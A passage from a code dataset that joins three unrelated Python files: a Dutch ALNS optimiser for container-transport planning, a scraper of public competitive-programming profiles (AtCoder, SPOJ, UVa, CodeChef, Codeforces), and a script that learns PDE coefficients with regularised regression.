def __schat_totale_kost(self, capaciteiten, van_naar=True):\n capaciteiten = {capaciteit: self.planning.adhoc_legs.schat_totale_kost(capaciteit, self.container, van_naar)\n for capaciteit in capaciteiten}\n capaciteiten = {capaciteit: kost for capaciteit, kost in capaciteiten.items() if kost is not None}\n return capaciteiten\n\n def __check_levertijd(self, legcapaciteit):\n # checkt of de legcapaciteit die in eindbestemming van container aankomt de levertijd respecteert\n # indien de legcapaciteit niet in de eindbestemming aankomt, dan wordt True geretourneerd.\n if legcapaciteit.leg.naar != self.container.naar:\n return True\n else:\n return legcapaciteit.is_mogelijk_einde(self.container)\n\n def __maak_traject_van_naar(self, selecteer):\n # traject wordt geconstrueerd van container.van naar container.naar\n # selecteer is een functie die een LegCapaciteit object retourneert uit een input list van legcapaciteiten\n traject = []\n locaties = set(self.planning.verladers + self.planning.empty_depots) # alleen terminals als tussenstop toegestaan!\n if self.container.van not in locaties:\n locaties.add(self.container.van) # voeg startlocatie toe aan locaties die verboden zijn\n if self.container.naar in locaties:\n locaties.remove(self.container.naar) # verwijder eindlocatie uit locaties die verboden zijn\n capaciteiten = [lc for lc in self.planning.legcapaciteiten\n if lc.is_mogelijk_begin(self.container) and lc.leg.naar not in locaties\n and self.__check_levertijd(lc)] # alle mogelijke startcapaciteiten\n capaciteiten = self.__schat_totale_kost(capaciteiten)\n if not capaciteiten: # geen startcapaciteiten: maak een adhoc capaciteit voor het ganse traject\n capaciteit = self.planning.adhoc_legs.maak_leg(self.container)\n if capaciteit is not None:\n traject.append(capaciteit)\n return traject\n while True:\n capaciteit = selecteer(capaciteiten)\n traject.append(capaciteit)\n if capaciteit.leg.naar == self.container.naar: # leg eindigt in eindbestemming: traject is compleet\n return traject\n else:\n locaties.add(capaciteit.leg.naar) ###\n capaciteiten = [lc for lc in self.planning.legcapaciteiten\n if lc.komt_na(capaciteit) and lc.leg.naar not in locaties\n and self.__check_levertijd(lc)] # alle mogelijke volgende capaciteiten ###\n capaciteiten = self.__schat_totale_kost(capaciteiten)\n if not capaciteiten: # geen capaciteit gevonden: creëer adhoc capaciteit tot eindbestemming\n capaciteit = None\n while capaciteit is None and traject:\n capaciteit = self.planning.adhoc_legs.maak_leg_na_leg(traject[-1].leg, self.container)\n if capaciteit is None: # geen adhoc capaciteit mogelijk\n lc = traject.pop() # verwijder laatste capaciteit uit traject en probeer opnieuw ###\n locaties.remove(lc.leg.naar) ###\n if capaciteit is None:\n capaciteit = self.planning.adhoc_legs.maak_leg(self.container)\n if capaciteit is not None:\n traject.append(capaciteit)\n return traject\n\n def __check_ophaaltijd(self, legcapaciteit):\n # checkt of de legcapaciteit die in startbestemming van container vertrekt de ophaaltijd respecteert\n # indien de legcapaciteit niet in de startbestemming vertrekt, dan wordt True geretourneerd.\n if legcapaciteit.leg.van != self.container.van:\n return True\n else:\n return legcapaciteit.is_mogelijk_begin(self.container)\n\n def __maak_traject_naar_van(self, selecteer):\n # traject wordt omgekeerd geconstrueerd van container.naar naar container.van\n # selecteer is een functie die een LegCapaciteit object retourneert uit een input list van legcapaciteiten\n traject = []\n locaties = set(self.planning.verladers + self.planning.empty_depots) # alleen terminals alles tussenstop toegestaan!\n if self.container.van in locaties:\n locaties.remove(self.container.van) # verwijder startlocatie uit locaties die verboden zijn\n if self.container.naar not in locaties:\n locaties.add(self.container.naar) # voeg eindlocatie toe aan locaties die verboden zijn\n capaciteiten = [lc for lc in self.planning.legcapaciteiten\n if lc.is_mogelijk_einde(self.container) and lc.leg.van not in locaties\n and self.__check_ophaaltijd(lc)] # alle mogelijke eindcapaciteiten\n capaciteiten = self.__schat_totale_kost(capaciteiten)\n if not capaciteiten: # geen eindcapaciteiten: maak een adhoc capaciteit voor het ganse traject\n capaciteit = self.planning.adhoc_legs.maak_leg(self.container)\n if capaciteit is not None:\n traject.append(capaciteit)\n return traject\n while True:\n capaciteit = selecteer(capaciteiten)\n traject.append(capaciteit)\n if capaciteit.leg.van == self.container.van: # leg start in startbestemming: traject is compleet\n traject.reverse()\n return traject\n else:\n locaties.add(capaciteit.leg.van) ###\n capaciteiten = [lc for lc in self.planning.legcapaciteiten\n if lc.komt_voor(capaciteit) and lc.leg.van not in locaties\n and self.__check_ophaaltijd(lc)] # alle mogelijke voorgaande capaciteiten ###\n capaciteiten = self.__schat_totale_kost(capaciteiten)\n if not capaciteiten: # geen capaciteit gevonden: creëer adhoc capaciteit tot startbestemming\n capaciteit = None\n while capaciteit is None and traject:\n capaciteit = self.planning.adhoc_legs.maak_leg_voor_leg(traject[-1].leg, self.container)\n if capaciteit is None: # geen adhoc capaciteit mogelijk\n lc = traject.pop() # verwijder laatste capaciteit uit traject en probeer opnieuw ###\n locaties.remove(lc.leg.van) ###\n if capaciteit is None:\n capaciteit = self.planning.adhoc_legs.maak_leg(self.container)\n if capaciteit is not None:\n traject.append(capaciteit)\n traject.reverse()\n return traject\n\n\nclass PlanningState(alns.State):\n\n def __init__(self, planning: Planning, degree_of_destruction=0.25):\n self.planning = planning\n self.degree_of_destruction = degree_of_destruction\n\n def objective(self):\n return self.planning.geef_totale_kost() / 1000.0\n\n def aantal_te_verwijderen_trajecten(self):\n return int(len(self.planning.trajecten) * self.degree_of_destruction)\n\n\ndef worst_removal(state: PlanningState, random_state):\n worst = sorted(list(range(len(state.planning.containers))),\n key=lambda container_id: state.planning.kosten[container_id], reverse=True)\n destroyed = copy.deepcopy(state)\n for i in range(state.aantal_te_verwijderen_trajecten()):\n destroyed.planning.verwijder_container_traject(worst[i])\n return destroyed\n\n\ndef random_removal(state: PlanningState, random_state):\n destroyed = copy.deepcopy(state)\n for i in random_state.choice(len(state.planning.trajecten),\n state.aantal_te_verwijderen_trajecten(), replace=False):\n destroyed.planning.verwijder_container_traject(i)\n return destroyed\n\n\ndef __repair(state: PlanningState, random_state, method: str, van_naar=True):\n maak_traject = MaakContainerTraject(state.planning)\n te_plannen = list(state.planning.te_plannen)\n random_state.shuffle(te_plannen)\n for i in te_plannen:\n maak_traject.container = state.planning.geef_container_object(i)\n func = getattr(maak_traject, method)\n traject = func(van_naar)\n state.planning.voeg_container_traject_toe(i, *traject)\n return state\n\n\ndef greedy_repair(state: PlanningState, random_state):\n return __repair(state, random_state, 'maak_greedy_traject')\n\n\ndef random_repair(state: PlanningState, random_state):\n return __repair(state, random_state, 'maak_random_traject')\n\n\ndef reversed_greedy_repair(state: PlanningState, random_state):\n return __repair(state, random_state, 'maak_greedy_traject', False)\n\n\ndef reversed_random_repair(state: PlanningState, random_state):\n return __repair(state, random_state, 'maak_random_traject', False)\n\n\nclass ALNS(Methode):\n\n def __init__(self, planning: Planning, degree_of_destruction: float = 0.25, weights: list = None,\n operator_decay: float = 0.8, iterations: int = 10000, seed: int = None, collect_stats=True):\n Methode.__init__(self, planning)\n self.degree_of_destruction = degree_of_destruction\n if weights is not None:\n self.weights = weights\n else:\n self.weights = [3, 2, 1, 0.5]\n self.operator_decay = operator_decay\n self.iterations = iterations\n self.collect_stats = collect_stats\n self.seed = seed\n if seed is not None:\n self.random_state = RandomState(seed)\n else:\n self.random_state = RandomState()\n self.alns = alns.ALNS(self.random_state)\n self.state = PlanningState(planning, degree_of_destruction)\n self.criterion = None\n self.destroy_operators = []\n self.repair_operators = []\n self.result = None\n\n def add_destroy_operators(self, *operators):\n # *operators is 'random' and/or 'worst'\n self.destroy_operators = [operator.lower() for operator in operators]\n if 'random' in self.destroy_operators:\n self.alns.add_destroy_operator(random_removal)\n if 'worst' in operators:\n self.alns.add_destroy_operator(worst_removal)\n\n def add_repair_operators(self, *operators):\n # *operators is 'random', 'greedy', 'reversed_random', and/or 'reversed_greedy'\n self.repair_operators = [operator.lower() for operator in operators]\n if 'random' in self.repair_operators:\n self.alns.add_repair_operator(random_repair)\n if 'greedy' in operators:\n self.alns.add_repair_operator(greedy_repair)\n if 'reversed_random' in operators:\n self.alns.add_repair_operator(reversed_random_repair)\n if 'reversed_greedy' in operators:\n self.alns.add_repair_operator(reversed_greedy_repair)\n\n def add_hill_climbing(self):\n self.criterion = alns.criteria.HillClimbing()\n\n def add_simulated_annealing(self, start_temperature: float = 10000, end_temperature: float = 1, step: float = 0.9,\n method: str = \"exponential\"):\n # method is 'exponential' by default, can also be 'linear'\n # temperature = max(end_temperature, temperature - step) (if method is linear)\n # temperature = max(end_temperature, step * temperature) (if method is exponential)\n # where the initial temperature is set to start_temperature\n self.criterion = alns.criteria.SimulatedAnnealing(start_temperature, end_temperature, step, method)\n\n def solve(self):\n start = time()\n self.state = greedy_repair(self.state, self.random_state)\n initial_cost = self.state.objective() * 1000\n self.result = self.alns.iterate(self.state, self.weights, self.operator_decay, self.criterion, self.iterations,\n self.collect_stats)\n self.planning = self.result.best_state.planning\n self.planning.maak_unieke_adhoc_capaciteiten()\n print(\"Elapsed time:\", round(time() - start, 2), 'sec')\n print(\"Initial cost:\", initial_cost)\n print(\"Minimized cost:\", self.result.best_state.objective() * 1000)\n\n def plot_objectives(self):\n self.result.plot_objectives()\n\n def plot_operators(self):\n figure = plt.figure(\"operator_counts\", figsize=(14, 6))\n figure.subplots_adjust(bottom=0.15, hspace=.5)\n self.result.plot_operator_counts(figure=figure, title=\"Operator diagnostics\",\n legend=[\"Best\", \"Better\", \"Accepted\"])\n\n\n","repo_name":"vives-ai/synergie-optimalisation-algorithms","sub_path":"optimalisatie.py","file_name":"optimalisatie.py","file_ext":"py","file_size_in_byte":18897,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"220109632","text":"import json\nimport re\nimport requests\nfrom bs4 import BeautifulSoup as bs\nfrom codeforces.models import organization, country\n\n\ndef get_atcoder_profile(handle):\n url = \"https://atcoder.jp/users/\" + handle\n data = {\n 'status': 'FAILED',\n 'handle': handle,\n 'url': url,\n 'rating': 'Unrated',\n 'rank': '20 Kyu',\n 'color': '#000000',\n 'maxRating': 'NA',\n 'maxRank': '20 Kyu',\n 'maxColor': '#000000',\n 'worldRank': 'NA',\n 'solvedCount': 'NA',\n 'contestCount': 0,\n 'contestRank': []\n }\n res = requests.get(url)\n if res.status_code != 200:\n return data\n soup = bs(res.content, 'html5lib')\n ColorCode = {\n 'user-red': '#FF0000',\n 'user-orange': '#FF8000',\n 'user-yellow': '#C0C000',\n 'user-blue': '#0000FF',\n 'user-cyan': '#00C0C0',\n 'user-green': '#008000',\n 'user-brown': '#804000',\n 'user-gray': '#808080',\n 'user-unrated': '#000000',\n 'user-admin': '#C000C0'\n }\n grp = soup.find('a', {'class': 'username'}).find('span').get('class')\n if grp == None:\n data['color'] = soup.find('a', {\n 'class': 'username'\n }).find('span').get('style')\n else:\n data['color'] = ColorCode[grp[0]]\n\n if grp != None and 'unrated' in grp[0]:\n data['rating'] = 'UnRated'\n elif soup.find('div', {'class': 'col-md-3 col-sm-12'}).find('b') == None:\n data['rank'] = '20 Kyu'\n else:\n data['rank'] = soup.find('div', {\n 'class': 'col-md-3 col-sm-12'\n }).find('b').text\n\n del grp\n if data['rating'] != 'UnRated':\n details = soup.findAll('table', {'class': 'dl-table'})[1].findAll('tr')\n data['worldRank'] = details[0].find('td').text[:-2]\n data['rating'] = details[1].find('span').text\n data['maxRating'] = details[2].findAll('span')[0].text\n data['maxColor'] = ColorCode[details[2].findAll('span')[0].get('class')\n [0]]\n data['maxRank'] = details[2].findAll('span')[2].text\n del details\n\n # Contests Rank\n url = \"https://atcoder.jp/users/\" + handle + \"/history\"\n res = requests.get(url)\n\n if res.status_code != 200:\n return data\n\n soup = bs(res.content, 'html5lib')\n contestTable = soup.find('table', {'id': 'history'})\n del soup\n contests_details = []\n if contestTable != None:\n contests = contestTable.find('tbody').findAll('tr')\n del contestTable\n for contest in contests:\n contest_detail = {}\n base_url = \"https://atcoder.jp\"\n contest_detail['name'] = contest.findAll('td')[1].find('a').text\n contest_detail['url'] = base_url + contest.findAll('td')[1].find(\n 'a')['href']\n contest_detail['code'] = contest.findAll('td')[1].find(\n 'a')['href'].split('/')[-1]\n contest_detail['standing_url'] = base_url + contest.findAll(\n 'td')[2].find('a')['href']\n rnk = contest.findAll('td')[2].find('a').text\n if rnk.isdigit():\n contest_detail['worldRank'] = int(rnk)\n contests_details.append(contest_detail)\n del contests\n data['contestCount'] = len(contests_details)\n data['contestRank'] = sorted(contests_details,\n key=lambda i: i['worldRank'])[:3]\n del contests_details\n\n data['status'] = 'OK'\n return data\n\n\ndef get_spoj_profile(handle):\n url = \"https://www.spoj.com/users/\" + handle\n res = requests.get(url)\n data = {\n 'status': 'FAILED',\n 'handle': handle,\n 'url': url,\n 'worldRank': 'NA',\n 'solvedCount': 'NA',\n 'points': 'NA',\n }\n if res.status_code != 200:\n return data\n soup = bs(res.content, 'html5lib')\n\n data['solvedCount'] = soup.find(\n 'dl', {\n 'class': 'dl-horizontal profile-info-data profile-info-data-stats'\n }).find('dd').text\n\n rank = None\n y = soup.find('div', {'id': 'user-profile-left'}).findAll('p')\n del soup\n for x in y:\n if x.find('i', {'class': 'fa fa-trophy'}) != None:\n rank = x.text\n break\n\n if x == None:\n return data\n\n data['worldRank'] = rank.replace(' World Rank: #', '').split(' ')[0]\n data['points'] = rank.replace(' World Rank: #', '').split(' ')[1][1:]\n data['status'] = 'OK'\n return data\n\n\ndef get_uva_profile(uva_id, handle):\n url = \"https://uhunt.onlinejudge.org/api/ranklist/\" + str(uva_id) + \"/0/0\"\n res = requests.get(url)\n data = {\n 'status':\n 'FAILED',\n 'handle':\n handle,\n 'uva_id':\n uva_id,\n 'url':\n 'https://onlinejudge.org/index.php?option=com_onlinejudge&Itemid=19&page=show_authorstats&userid='\n + str(uva_id),\n 'worldRank':\n 'NA',\n 'solvedCount':\n 'NA',\n }\n if res.status_code != 200:\n return\n d = res.json()[0]\n data['worldRank'] = d['rank']\n data['solvedCount'] = d['ac']\n data['status'] = 'OK'\n return data\n\n\ndef get_color(rating):\n if rating < 1400:\n return '#666666'\n elif rating < 1600:\n return '#1E7D22'\n elif rating < 1800:\n return '#3366CC'\n elif rating < 2000:\n return '#684273'\n elif rating < 2200:\n return '#FFBF00'\n elif rating < 2500:\n return '#FF7F00'\n else:\n return '#D0011B'\n\n\ndef get_rank(rating):\n if rating < 1400:\n return 1\n elif rating < 1600:\n return 2\n elif rating < 1800:\n return 3\n elif rating < 2000:\n return 4\n elif rating < 2200:\n return 5\n elif rating < 2500:\n return 6\n else:\n return 7\n\n\ndef get_codechef_profile(handle):\n\n url = \"https://www.codechef.com/users/\" + handle\n data = {\n 'status': 'FAILED',\n 'handle': handle,\n 'name': '',\n 'url': url,\n 'rating': 'UnRated',\n 'maxRating': 'NA',\n 'rank': 'NA',\n 'maxRank': 'NA',\n 'color': '#000000',\n 'maxColor': '#000000',\n 'worldRank': 'NA',\n 'countryRank': 'NA',\n 'solvedCount': 'NA',\n 'contestCount': 0,\n 'contestRank': [],\n }\n\n res = requests.get(url)\n if res.status_code != 200:\n return data\n\n soup = bs(res.content, 'html5lib')\n\n header = soup.find('div', {'class': 'user-details-container'})\n\n if header != None:\n if header.find('h2') != None:\n data['name'] = header.find('h2').text\n\n data['rating'] = int(soup.find('div', {'class': 'rating-number'}).text)\n data['rank'] = get_rank(data['rating'])\n data['color'] = get_color(data['rating'])\n\n data['maxRating'] = int(\n soup.find('div', {\n 'class': 'rating-header'\n }).find('small').text.replace('(Highest Rating ', '').replace(')', ''))\n data['maxRank'] = get_rank(data['maxRating'])\n data['maxColor'] = get_color(data['maxRating'])\n\n # Ranks\n rank = soup.find('div', {'class': 'rating-ranks'})\n data['worldRank'] = rank.findAll('strong')[0].text\n data['countryRank'] = rank.findAll('strong')[1].text\n\n finding_rating = re.findall(r'var all_rating = .*;', str(soup))\n finds = len(finding_rating) == 1\n\n if finds:\n s = finding_rating[0].replace('var all_rating = ', '').replace(';', '')\n contest_details = json.loads(s)\n del s\n del finding_rating\n\n lunch = []\n cook = []\n challenge = []\n overall = []\n\n for contest in contest_details:\n if contest['rank'].isdigit():\n overall.append({\n 'name':\n contest['name'],\n 'code':\n contest['code'],\n 'standingUrl':\n 'https://www.codechef.com/rankings/{}?order=asc&search={}&sortBy=rank'\n .format(contest['code'], handle),\n 'url':\n 'https://www.codechef.com/' + contest['code'],\n 'rank':\n int(contest['rank'])\n })\n if 'Challenge' in contest['name']:\n challenge.append({\n 'name':\n contest['name'],\n 'code':\n contest['code'],\n 'standingUrl':\n 'https://www.codechef.com/rankings/{}?order=asc&search={}&sortBy=rank'\n .format(contest['code'], handle),\n 'url':\n 'https://www.codechef.com/' + contest['code'],\n 'rank':\n int(contest['rank'])\n })\n elif 'Cook' in contest['name']:\n cook.append({\n 'name':\n contest['name'],\n 'code':\n contest['code'],\n 'standingUrl':\n 'https://www.codechef.com/rankings/{}?order=asc&search={}&sortBy=rank'\n .format(contest['code'], handle),\n 'url':\n 'https://www.codechef.com/' + contest['code'],\n 'rank':\n int(contest['rank'])\n })\n elif 'Lunchtime' in contest['name']:\n lunch.append({\n 'name':\n contest['name'],\n 'code':\n contest['code'],\n 'standingUrl':\n 'https://www.codechef.com/rankings/{}?order=asc&search={}&sortBy=rank'\n .format(contest['code'], handle),\n 'url':\n 'https://www.codechef.com/' + contest['code'],\n 'rank':\n int(contest['rank'])\n })\n\n data['contestCount'] = len(overall)\n data['contestRank'] = sorted(overall, key=lambda i: i['rank'])[:3]\n data['lunchtimeRank'] = sorted(lunch, key=lambda i: i['rank'])[:3]\n data['cook-offRank'] = sorted(cook, key=lambda i: i['rank'])[:3]\n data['longChallengeRank'] = sorted(challenge, key=lambda i: i['rank'])[:3]\n\n problems_solved = soup.find(\n 'section', {'class': 'rating-data-section problems-solved'})\n\n del soup\n\n data['solvedCount'] = problems_solved.find('h5').text.replace(\n 'Fully Solved (', '').replace(')', '')\n data['status'] = 'OK'\n return data\n\n\ndef get_codeforces_profile(handle, codeforces_user=None):\n\n url = \"https://codeforces.com/api/user.info?handles=\" + handle\n\n profileurl = \"https://codeforces.com/profile/\" + handle\n\n res = requests.get(url)\n\n extra_data = {\n 'handle': handle,\n 'url': profileurl,\n 'name': '',\n 'rating': 'UnRated',\n 'rank': 'NA',\n 'maxRating': 'NA',\n 'maxRank': 'NA',\n 'country': None,\n 'organization': None,\n 'photoUrl': None,\n 'totalUsers': 'NA',\n 'worldRank': 'NA',\n 'countryRank': 'NA',\n 'organizationRank': 'NA',\n 'contestCount': 0,\n 'contestRank': [],\n 'status': 'FAILED',\n 'contribution': 'NA',\n 'avatar': None,\n 'lastOnlineTimeSeconds': 0,\n 'friendOfCount': 'NA',\n }\n\n if res.status_code != 200:\n return (codeforces_user, extra_data)\n\n d = res.json()\n\n if d['status'] != 'OK':\n return (codeforces_user, extra_data)\n\n extra_data['status'] = 'OK'\n extra_data['contribution'] = d['result'][0]['contribution']\n extra_data['photoUrl'] = d['result'][0]['titlePhoto'][2:]\n extra_data['avatar'] = d['result'][0]['avatar'][2:]\n extra_data['lastOnlineTimeSeconds'] = d['result'][0][\n 'lastOnlineTimeSeconds']\n extra_data['friendOfCount'] = d['result'][0]['friendOfCount']\n\n name = \"\"\n if 'firstName' in d['result'][0]:\n name += d['result'][0]['firstName']\n name += \" \"\n if 'lastName' in d['result'][0]:\n name += d['result'][0]['lastName']\n\n extra_data[\"name\"] = name\n\n if 'rating' not in d['result'][0]:\n extra_data['rating'] = 'UnRated'\n return (codeforces_user, extra_data)\n elif codeforces_user == None:\n\n extra_data['rating'] = d['result'][0]['rating']\n extra_data['maxRating'] = d['result'][0]['maxRating']\n extra_data['rank'] = d['result'][0]['rank']\n extra_data['maxRank'] = d['result'][0]['maxRank']\n\n if 'country' in d['result'][0]:\n\n extra_data['country'] = {'name': d['result'][0]['country']}\n\n if 'organization' in d['result'][0]:\n\n extra_data['organization'] = {\n 'name': d['result'][0]['organization']\n }\n\n return (codeforces_user, extra_data)\n else:\n\n codeforces_user.name = name\n codeforces_user.rating = d['result'][0]['rating']\n codeforces_user.maxRating = d['result'][0]['maxRating']\n codeforces_user.rank = d['result'][0]['rank']\n codeforces_user.maxRank = d['result'][0]['maxRank']\n codeforces_user.photoUrl = d['result'][0]['titlePhoto'][2:]\n\n if 'country' in d['result'][0]:\n\n obj, created = country.objects.get_or_create(\n name=d['result'][0]['country'])\n codeforces_user.country = obj\n\n if 'organization' in d['result'][0]:\n\n obj, created = organization.objects.get_or_create(\n name=d['result'][0]['organization'])\n codeforces_user.organization = obj\n\n codeforces_user.save()\n\n return (codeforces_user, extra_data)\n","repo_name":"Code-dig-ger/Backend","sub_path":"codedigger/user/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":13586,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"20"} +{"seq_id":"11762065737","text":"import os,sys,inspect\ncurrent_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparent_dir = os.path.dirname(current_dir)\nsys.path.insert(0, parent_dir) \n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pdfsolver import PdfSolver, PdfGrid\nfrom Learning import PDElearn\nfrom visualization import Visualize\nfrom helper_functions import makesavename, latexify\nfrom scipy.signal import savgol_filter\nfrom sklearn.metrics import mean_squared_error\nimport time\nimport pdb\nfrom __init__ import *\n\nplt.ticklabel_format(style='sci', axis='x', scilimits=(0,0))\nplt.ticklabel_format(style='sci', axis='y', scilimits=(0,0))\n\n\nIC1 = {'u0':'exp', 'fu0':'gauss', 'fk':'uni'}\nIC2 = {'u0':'lin', 'fu0':'gauss', 'fk':'uni'}\nIC3 = {'u0':'lin', 'fu0':'gauss', 'fk':'gauss'}\nIC4 = {'u0':'exp', 'fu0':'gauss', 'fk':'gauss'}\n#IC = [IC1, IC2, IC3, IC4]\nIC = [IC2, IC3] # Line IC\n#IC = [IC1, IC4] # Exponential IC\n\n# TODO: Make all variables inputs to simulation here - IC\ndef runsimulation():\n dt = 0.03\n t0 = 0.0\n tend = 4 \n nt = int((tend-t0)/dt)\n\n dx = 0.03 \n x0 = -1.5\n xend = 1.5\n nx = int((xend-x0)/dx) \n\n dk = 0.05\n k0 = -1.0\n kend = 1.0 \n nk = int((kend-k0)/dk) \n\n du = 0.04 \n u0 = -2.5\n uend = 2.5\n nu = int((uend-u0)/du) \n\n muk=0.0\n sigk=0.5\n sigu=1.0\n mink=-0.5\n maxk=0.5\n a=1.0\n b=0.0\n\n# Second set of data\n muk_2=0.2\n sigk_2=1\n sigu_2=1.1\n mink_2=0.0\n maxk_2=1.0\n a_2=1.0\n b_2=0.0\n\n runsimulation = 1\n IC_opt = 1\n\n solvopt = 'RandomKadvection' \n\n\n\n for i in range(1,5):\n print(i)\n grid = PdfGrid(x0=x0, xend=xend, k0=k0, kend=kend, t0=t0, tend=tend, u0=u0, uend=uend, nx=nx, nt=nt, nk=nk, nu=nu)\n grid.printDetails()\n S = PdfSolver(grid, save=True)\n S.setIC(option=i, a=a, b=b, mink=mink, maxk=maxk, muk=muk, sigk=sigk, sigu=sigu)\n\n time0 = time.time()\n fuk, fu, kmean, uu, kk, xx, tt= S.solve(solver_opt=solvopt)\n print('Compute time = ', time.time()-time0)\n\n\ndef runML(setting):\n\n version = 1\n loadname = [makesavename(i, version) for i in IC]\n\n S1 = PdfSolver()\n fuk = []\n fu = []\n kmean = []\n gridvars = []\n ICparams = []\n\n for i in range(len(IC)):\n fuki, fui, kmeani, gridvarsi, ICparamsi = S1.loadSolution(loadname[i])\n fuk.append(fuki)\n fu.append(fui)\n kmean.append(kmeani)\n\n uu, kk, xx, tt = gridvarsi\n muk, sigk, mink, maxk, sigu, a, b = ICparamsi\n\n grid = PdfGrid()\n grid.setGrid(xx, tt, uu, kk)\n grid.printDetails()\n\n\n\n\n lmnum = 40\n lmmin = 0.0000001\n lmmax = 0.00005\n lm = np.linspace(lmmin, lmmax, lmnum)\n options = ['linear', '2ndorder']\n\n if setting == 'sepIC':\n\n for opt in options:\n\n # Get number of maximum number of coefficients: maxncoef\n difflearn = PDElearn(fuk[0], grid, kmean[0], fu=fu[0], trainratio=0.8, debug=False)\n featurelist, labels, featurenames = difflearn.makeFeatures(option=opt)\n #pdb.set_trace()\n maxncoef = len(featurenames) - 1\n\n print('#################### %s ########################'%(opt))\n DL = []\n X = []\n y = []\n error = []\n regopts = 2\n er = np.zeros((len(IC), regopts, len(lm)))\n coef = np.zeros((len(IC), regopts, len(lm), maxncoef))\n numcoefl1 = np.zeros((len(IC), len(lm)))\n for i in range(len(IC)):\n print('---- Initial Condition ----')\n print('u0: ' + IC[i]['u0'])\n print('fu0: ' + IC[i]['fu0'])\n print('fk: ' + IC[i]['fk'])\n print('---- ----- ----')\n\n difflearn = PDElearn(fuk[i], grid, kmean[i], fu=fu[i], trainratio=0.8, debug=False)\n featurelist, labels, featurenames = difflearn.makeFeatures(option=opt)\n Xtrain, ytrain, Xtest, ytest = difflearn.makeTTsets(featurelist, labels, shuffle=False)\n \n for j in range(len(lm)):\n lin1 = difflearn.train(Xtrain, ytrain, RegType='L1', RegCoef=lm[j], maxiter=5000, tolerance=0.00001)\n lin2 = difflearn.train(Xtrain, ytrain, RegType='L2', RegCoef=lm[j], maxiter=5000)\n DL = [lin1, lin2]\n\n for k in range(len(DL)):\n er[i, k, j] = mean_squared_error(ytest, DL[k].predict(Xtest))\n #pdb.set_trace()\n for l in range(maxncoef):\n coef[i, k, j, l] = DL[k].coef_[l]\n\n numcoefl1[i, j] = DL[0].sparse_coef_.getnnz()\n\n\n ## Plotting\n\n # Error as a function of lm\n fig = plt.figure()\n leg = []\n for i in range(len(IC)):\n plt.plot(lm, np.reshape(er[i, 0, :], (len(lm),)))\n leg.append(makesavename(IC[i], 1))\n\n figname = setting + ' reg coefficients L%d reg, %s'%(1, opt)\n plt.xlabel('Regularization Coefficient')\n plt.ylabel('Error')\n plt.title(figname)\n plt.legend(leg)\n plt.savefig(FIGFILE+figname+'.pdf')\n\n\n # Sparsity as a function of lm\n fig = plt.figure()\n leg = []\n for i in range(len(IC)):\n plt.plot(lm, numcoefl1[i])\n leg.append(makesavename(IC[i], 1))\n\n\n figname = setting + ' LinearIC Sparsity in L%d reg, %s'%(1, opt)\n plt.xlabel('Regularization Coefficient')\n plt.ylabel('Sparsity: Number of Coeffients')\n plt.title(figname)\n plt.legend(leg)\n plt.savefig(FIGFILE+figname+'.pdf')\n\n # All Coefficients values as a function of lm\n for j in range(len(IC)):\n fig = plt.figure()\n leg = []\n for i in range(len(featurenames)-1):\n plt.plot(lm, np.reshape(coef[j, 0, :, i], (len(lm),)))\n leg.append(featurenames[i+1])\n\n \n figname = setting + ' Linear features L%d reg, %s'%(1, opt)\n plt.xlabel('Regularization Coefficient')\n plt.ylabel('Coefficient Values')\n plt.title(figname)\n plt.legend(leg)\n plt.savefig(FIGFILE+figname)\n\n plt.show()\n\n\n if setting == 'lumpIC':\n\n for opt in options:\n\n # Get number of maximum number of coefficients: maxncoef\n difflearn = PDElearn(fuk[0], grid, kmean[0], fu=fu[0], trainratio=0.8, debug=False)\n featurelist, labels, featurenames = difflearn.makeFeatures(option=opt)\n #pdb.set_trace()\n maxncoef = len(featurenames) - 1\n\n print('#################### %s ########################'%(opt))\n DL = []\n X = []\n y = []\n error = []\n regopts = 2\n er = np.zeros((regopts, len(lm)))\n coef = np.zeros((regopts, len(lm), maxncoef))\n numcoefl1 = np.zeros((len(lm),))\n\n for i in range(len(IC)):\n difflearn = PDElearn(fuk[i], grid, kmean[i], fu=fu[i], trainratio=0.8, debug=False)\n featurelist, labels, featurenames = difflearn.makeFeatures(option=opt)\n Xtrain, ytrain, Xtest, ytest = difflearn.makeTTsets(featurelist, labels, shuffle=False)\n \n if i == 0:\n X_train = Xtrain\n y_train = ytrain\n X_test = Xtest\n y_test = ytest\n\n np.append(X_train, Xtrain, axis=0)\n np.append(y_train, ytrain, axis=0)\n np.append(X_test, Xtest, axis=0)\n np.append(y_test, ytest, axis=0)\n\n for j in range(len(lm)):\n lin1 = difflearn.train(X_train, y_train, RegType='L1', RegCoef=lm[j], maxiter=5000, tolerance=0.00001)\n lin2 = difflearn.train(X_train, y_train, RegType='L2', RegCoef=lm[j], maxiter=5000)\n DL = [lin1, lin2]\n\n for k in range(len(DL)):\n er[k, j] = mean_squared_error(y_test, DL[k].predict(X_test))\n for l in range(maxncoef):\n coef[k, j, l] = DL[k].coef_[l]\n\n numcoefl1[j] = DL[0].sparse_coef_.getnnz()\n\n\n ## Plotting\n\n # Error as a function of lm\n fig = plt.figure()\n leg = []\n plt.plot(lm, er[0, :])\n\n figname = setting + ' reg coefficients L%d reg, %s'%(1, opt)\n plt.xlabel('Regularization Coefficient')\n plt.ylabel('Error')\n plt.title(figname)\n plt.savefig(FIGFILE+figname+'.pdf')\n\n\n # Sparsity as a function of lm\n fig = plt.figure()\n leg = []\n plt.plot(lm, numcoefl1)\n\n figname = setting + ' LinearIC Sparsity in L%d reg, %s'%(1, opt)\n plt.xlabel('Regularization Coefficient')\n plt.ylabel('Sparsity: Number of Coeffients')\n plt.title(figname)\n plt.savefig(FIGFILE+figname+'.pdf')\n\n # All Coefficients values as a function of lm\n fig = plt.figure()\n leg = []\n for i in range(len(featurenames)-1):\n plt.plot(lm, np.reshape(coef[0, :, i], (len(lm),)))\n leg.append(featurenames[i+1])\n\n figname = setting + ' LinearIC Linear features L%d reg, %s'%(1, opt)\n plt.xlabel('Regularization Coefficient')\n plt.ylabel('Coefficient Values')\n plt.title(figname)\n plt.legend(leg)\n plt.savefig(FIGFILE+figname+'.pdf')\n\n plt.show()\n\n\n\n \nif __name__== \"__main__\":\n\n if sys.argv[1] == 'learn':\n runML('sepIC') # 'lumpIC' or 'sepIC' (lump all IC or seperate them)\n elif sys.argv[1] == 